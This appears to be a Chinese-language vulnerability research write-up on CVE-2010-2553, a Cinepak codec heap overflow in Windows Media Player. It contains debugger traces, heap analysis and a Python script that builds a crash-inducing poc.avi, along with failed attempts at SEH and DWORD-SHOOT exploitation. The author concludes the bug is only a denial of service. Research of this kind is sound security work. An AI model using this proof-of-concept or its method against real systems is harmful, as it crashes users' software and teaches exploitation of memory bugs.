eax=00004000 ebx=0a93d330 ecx=00000800 edx=0aa5fd38 esi=01c1eb22 edi=0014b008
eip=73b722c6 esp=0aa5fd04 ebp=0aa5fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x118:
73b722c6 8db700e0ffff lea esi,[edi-2000h]
果然中断到rep movs的上一句
p
0:010> p
eax=00004000 ebx=0a93d330 ecx=00000800 edx=0aa5fd38 esi=00149008 edi=0014b008
eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0014b008=00000000
ds:0023:00149008=00930093
此时ecx=800,edi=14b008,esi=149008,再看下此时的复制数据与堆块的关系
!heap -p -a 14b008
0:010> !heap -p -a 14b008
address 0014b008 found in
_HEAP @ a0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
00147000 0c01 0000 [01] 00147008 06000 - (busy)
? wmploc+20093
edi与前面所在的堆块一样,仍然是在a0000堆的147008堆块中,edi+800*4=14d008=147008+6000=14d008,说明这一次的rep
movs指令会刚好把当前堆块的数据区填充到最后,这样应该也不会由于覆盖下一个堆块导致异常,再次推测,可能还有下一次
机会会再执行到73b722cc处的rep movs指令
g
0:010> g
Breakpoint 0 hit
eax=00006000 ebx=0a93d330 ecx=00000800 edx=0aa5fd38 esi=01c1eb32 edi=0014d008
eip=73b722c6 esp=0aa5fd04 ebp=0aa5fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x118:
73b722c6 8db700e0ffff lea esi,[edi-2000h]
果然再次中断了,说明猜测是对的
p
0:010> p
eax=00006000 ebx=0a93d330 ecx=00000800 edx=0aa5fd38 esi=0014b008 edi=0014d008
eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0014d008=0c01008e
ds:0023:0014b008=00930093
此时edi=14d008,esi=14b008,ecx=800
!heap -p -a 14d008
0:010> !heap -p -a 14d008
address 0014d008 found in
_HEAP @ a0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0014d008 008e 0000 [01] 0014d010 00468 - (busy)
这里也可看出,14d008是上面147000堆块的下一个新的堆块的入口地址,这个新堆块的地址是从14d008开始到
14d010+468=14d478,而这次要复制的地址范围是从edi=14d008到edi+800*4=14f008>14d478,而从14d478开始的地址空间已
经属于下一个堆块,如下
!heap -p -a 14d478
0:010> !heap -p -a 14d478
address 0014d478 found in
_HEAP @ a0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0014d478 008e 0000 [01] 0014d480 00468 - (busy)
说明14d478这个堆块会被覆盖,且14d480+468=14d8e8<14f008,也即覆盖完这个堆块还要继续覆盖后面的堆块,这样极有可能会导
致异常的发生,可以预测,再次执行g将会发生异常
g
0:010> g
(1ac.1bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00006000 ebx=0a93d330 ecx=00000402 edx=0aa5fd38 esi=0014c000 edi=0014e000
eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0014e000=????????
ds:0023:0014c000=00000000
预测正确,此时ecx=402,说明是复制了(800-402)*4=3fe*4=ff8(10进制的4088个)字节后程序异常,并再不可控,单独运行
wmplayer.exe并打开poc.avi时会弹出如下报错对话框
说明是复制了4008个字节后,下面的内存不可写了,引发异常,现在要想办法控制eip,执行我的shellcode,要想控制eip,现在考虑
从以下几个角度上入手:
1>超长数据覆盖栈中的retn
2>超长数据覆盖栈中的seh
3>找到DWORD SHOOT机会
1>超长数据覆盖栈中的retn
这种可能性几乎可以忽略,一般堆溢出漏洞的利用采用DWORD SHOOT的"精确打击",超长数据覆盖作为"地毯式轰炸"这种手段
一般用于栈溢出,因为retn在栈中,而要想把数据从堆区覆盖到栈区,要复制超长超长的数据,此例中,当eip=73B721ED时,对
应如下指令,该eip到达方式为在od中单独打开iccvid.dll,在73b7cbee处下断点,该处对应上面的windbg的关键call下断点
处,然后od附加重新打开的wmplayer.exe,并用wmplayer.exe打开poc.avi,触发73b7cbee处的断点,f7跟进关键call,单步到
73b721ed处
73B721ED |. 8B75 0C mov esi,[arg.2]
此时od中的提示处显示如下信息:
堆栈 ss:[0A80FD3C]=01C2CAF8
esi=00000000
在od提示窗口中的01c2caf8上右键在数据窗口中跟随数值,结果如下:
01C2CAF8 00 00 00 68 01 60 01 20 00 10 10 00 00 10 00 00 ...h` .....
01C2CB08 00 00 00 60 01 60 20 00 00 00 11 00 00 10 41 41 ...`` .....AA
01C2CB18 41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 41 AAAAAAAAAA..AA
01C2CB28 41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 41 AAAAAAAAAA..AA
01C2CB38 41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 00 AAAAAAAAAA..A.
01C2CB48 69 64 78 31 10 00 00 00 30 30 64 63 10 00 00 00 idx1...00dc...
也即此时对应的数据为poc.avi中的cinepak_codec_data1字段的数据,如下图,对应exploit-db链接为:
https://www.exploit-db.com/exploits/15112/
此时esp=0A80FD04,而可控输入的数据所在的内存地址为01c2caf8,0a80fd04-01c2caf8=8BE320C=146682380个字节
=139.887218475341796875 M大小,可见数据量不小,这样肯定会覆盖很多数据,在执行到retn前必然会引发异常,所以想通过
覆盖retn达到控制eip是不可取的
2>超长数据覆盖栈中的seh
对应1中可观察到内存中的数据为cinepak_codec_data1字段时,eip=73b721ed,alt+v,查看seh,结果如下:
SEH 链用于 线程 000006D4
地址 SE处理程序
0A80FFDC kernel32.7C839AC0
要想覆盖到0a80ffdc处,需要覆盖0a80ffdc+4-01c2caf8=146683112个字节=139.88791656494140625 M大小,重新修改生成
poc.avi的python代码,尝试覆盖到seh处理程序的地址,从1c2caf8到poc.avi的最后一个构造的数据所在的字符共有105个字
节,需要在后面加多146683112-105=146683007个字节,再加4个字节可以覆盖seh的异常处理程序指针,也即146683011个字节
,构造代码如下,在原来的代码中加入
my_data='B'*146683011
avifile.write(my_data)
import sys
def main():
aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
number_of_coded_strips = '\x00\x10'
cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'
my_data='B'*146683011
avifile = open('poc.avi', 'wb+')
avifile.write(aviHeaders)
avifile.write(padding)
avifile.write(movi_tag)
avifile.write(cinepak_codec_data1)
avifile.write(number_of_coded_strips)
avifile.write(cinepak_codec_data2)
avifile.write(idx_tag)
avifile.write(my_data)
avifile.close()
print '[-] AVI file generated'
if __name__ == '__main__':
main()
ubuntu下新生成的pov.avi文件146.7M,拷贝到winxp中,用wmplayer.exe在od附加下打开,同样单步到73b721ed处,在提示窗
口中右键在数据窗口中跟随数值,如下图
从上面图中看出,数据窗口中字符"B"并没有复制146683011个到内存就被截断了,说明想利用超长数据从堆区覆盖到栈区中
的seh的想法也不能实现
3>找到一次DWORD SHOOST机会
如果能找到一次DWORD SHOOT机会,那就有较多选择可以控制eip了,但是上面提到DWORD SHOOT的机会在笔者看来只有空闲堆
块的卸下,也即对应新堆块的分配会有DWORD SHOOT机会,现在要想办法找到这样的机会,上面调试过程中发现当执行到关键
的rep movs指令第三次时会发生异常,必须要在rep movs指令发生异常前找到一次HeapAlloc的调用才有可能可以DWORD
SHOOT,而且HeapAlloc要出现在poc.avi中的数据复制到内存中之后
也即要在wmplayer.exe打开poc.avi之后到rep movs第三次复制异常发生之前这期间找到HeapAlloc的调用
重新od附加wmplayer.exe,在1c2caf8上下内存写入断点(1c2caf8对应原来的poc.avi中的生成数据中的
cinepak_codec_data1字段),并用wmplayer.exe打开原来的poc.avi
这种想法没能实现,因为od附加wmplayer.exe后,1c2caf8内存地址还没出现,无法下内存写入断点,尝试等1c2caf8出现
后再下内存断点并重新od加载,但是这样无法在1c2caf8被写入之前断下
上面的方法失败,于是采用下面的方法:
运行wmplayer.exe
od附加wmplayer.exe
wmplayer.exe打开原来的poc.avi
中断到关键call处右键查找所有模块间的调用
在每个kernel32.LocalAlloc上设置断点(这里没有HeapAlloc,只有LocalAlloc),一共有10个LocalAlloc调用
LocalAlloc和HeapAlloc的区别:
http://bbs.csdn.net/topics/350074008
由上面链接可知,LocalAlloc是在进程默认堆上分配空间,而HeapAlloc一般是由HeapCreate新生成的堆中分配空间
,当HeapAlloc的第一个参数是GetProcessHeap()的值除外
重新运行wmplayer.exe并用od附加,并用wmplayer.exe打开原来的poc.avi
od中断到下面的73b7b4a9处的LocalAlloc
73B7B4A2 |> \68 A0000000 push 0xA0 ; /Size = A0 (160.)
73B7B4A7 |. 6A 40 push 0x40 ; |Flags = LPTR
73B7B4A9 |. FF15 4C10B773 call dword ptr ds:[<&KERNEL32.LocalAlloc>] ; \LocalAlloc
此时在数据窗口中ctrl+g:1c2caf8,发现1c2caf8处尚且没有写入poc.avi中构造的数据,说明这个LocalAlloc不是满足
"poc.avi中构造的数据写入内存后的堆分配"的调用,f8单步后eax=001135C8,上面的rep movs指令处的堆块在a0000堆的
147000堆块附近
f9
中断到73b72432处的call kernel32.localalloc,此时数据窗口中1c2caf8处依然没有写入原来poc.avi中构造的数据
f9
依然没有写入...
f9
这个f9要按快一点,要不然od中不会在1c2caf8处写入数据,这个f9之后中断下来到关键call调用处,此时数据窗口中的
1c2caf8处已经写入了原来poc.avi中的构造的数据
f9
此时弹出上面一样的内存不可写的出错框(由于rep movs写入到不可写的地址造成)
上面两次f9之后1c2caf8中没有写入数据,第三次f9之后1c2caf8中写入数据,第四次f9异常出现完,要求找到的LocalAlloc符
合这个条件:
"poc.avi中构造的数据写入内存后的堆分配"
但是从上面第2个f9到第四个f9之间没有中断到任何LocalAlloc的调用,说明找不到符合条件的堆块分配,也即没有DWORD
SHOOT的机会,也即没有办法控制eip,说明这个cve-2010-2553只是个dos(denial of Service)类漏洞